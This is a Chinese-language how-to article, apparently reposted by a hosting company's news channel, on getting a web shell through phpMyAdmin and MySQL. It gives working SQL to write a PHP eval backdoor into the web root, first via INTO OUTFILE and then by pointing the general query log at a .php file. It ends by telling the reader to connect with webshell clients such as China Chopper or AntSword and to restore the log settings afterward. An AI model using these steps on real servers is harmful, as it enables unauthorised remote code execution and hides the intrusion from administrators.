您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關phpmyadmin中怎么獲取shell,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
對web目錄需要有寫權限能夠使用單引號(root)
知道網站絕對路徑(phpinfo/php探針/通過報錯等)
secure_file_priv沒有具體值
show global variables like '%secure%';
關于secure_file_priv配置介紹:
secure_file_priv 是用來限制 load dumpfile、into outfile、load_file() 函數在哪個目錄下擁有上傳或者讀取文件的權限
當 secure_file_priv 的值為 NULL ,表示限制 mysqld 不允許導入|導出,此時無法提權 當 secure_file_priv 的值為 /tmp/ ,表示限制 mysqld 的導入|導出只能發生在 /tmp/ 目錄下,此時也無法提權 當 secure_file_priv 的值沒有具體值時,表示不對 mysqld 的導入|導出做限制,此時可提權
我這里的secure_file_priv值為NULL,所以不能夠導入或導出
secure_file_priv這個值是只讀變量,只能通過配置文件修改。如果管理員沒有配置,那么我們是無法進行寫入shell的,這里我為了測試能否寫入修改一下
在MySQL的配置文件my.ini中進行配置:
修改后secure_file_priv的值如圖所示:
select '<?php @eval($POST[1]); ?>' INTO OUTFILE 'D:\\phpStudy\\PHPTutorial\\WWW\\a.php'
這里需要注意的一個點是路徑需要用"\\"
查看下根目錄
查看mysql的日志狀態,默認是關閉的,因為這個日志的量非常大對資源是一個比較大的開銷
SHOW VARIABLES LIKE '%general%'
general_log_file為日志保存的位置
開啟general_log 的作用:開啟它可以記錄用戶輸入的每條命令,會把其保存在C:\phpStudy\MySQL\data\stu1.log的文件中,其實就是我們常說的日志文件利用思路:開啟general_log之后把general_log_file的值修改為該網站默認路徑下的某一個自定義的php文件中,然后通過log日志進行寫入一句話木馬,然后再進一步利用
這里注意:在修改log路徑前,源路徑一定要提前記錄下來,我們獲取shell后還要恢復原來的路徑
set global general_log = on;
再查看一下日志已經開啟,這時我們就可以通過全局日志寫shell進根目錄
set global general_log_file='C:\\phpStudy\\MySQL\\data\\shell.php';
因為開啟了日志記錄功能,所執行的sql語句都會被記錄在日志中
select '<?php eval($_POST[cmd]);?>'
查看下日志,發現sql語句已經被記錄到了日志中,直接用菜刀或者蟻劍連接即可
set global general_log_file='C:\\phpStudy\\MySQL\\data\\stu1.log'; set global general_log = off;
再使用日志查看命令發現已經恢復
SHOW VARIABLES LIKE '%general%'
以上就是phpmyadmin中怎么獲取shell,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。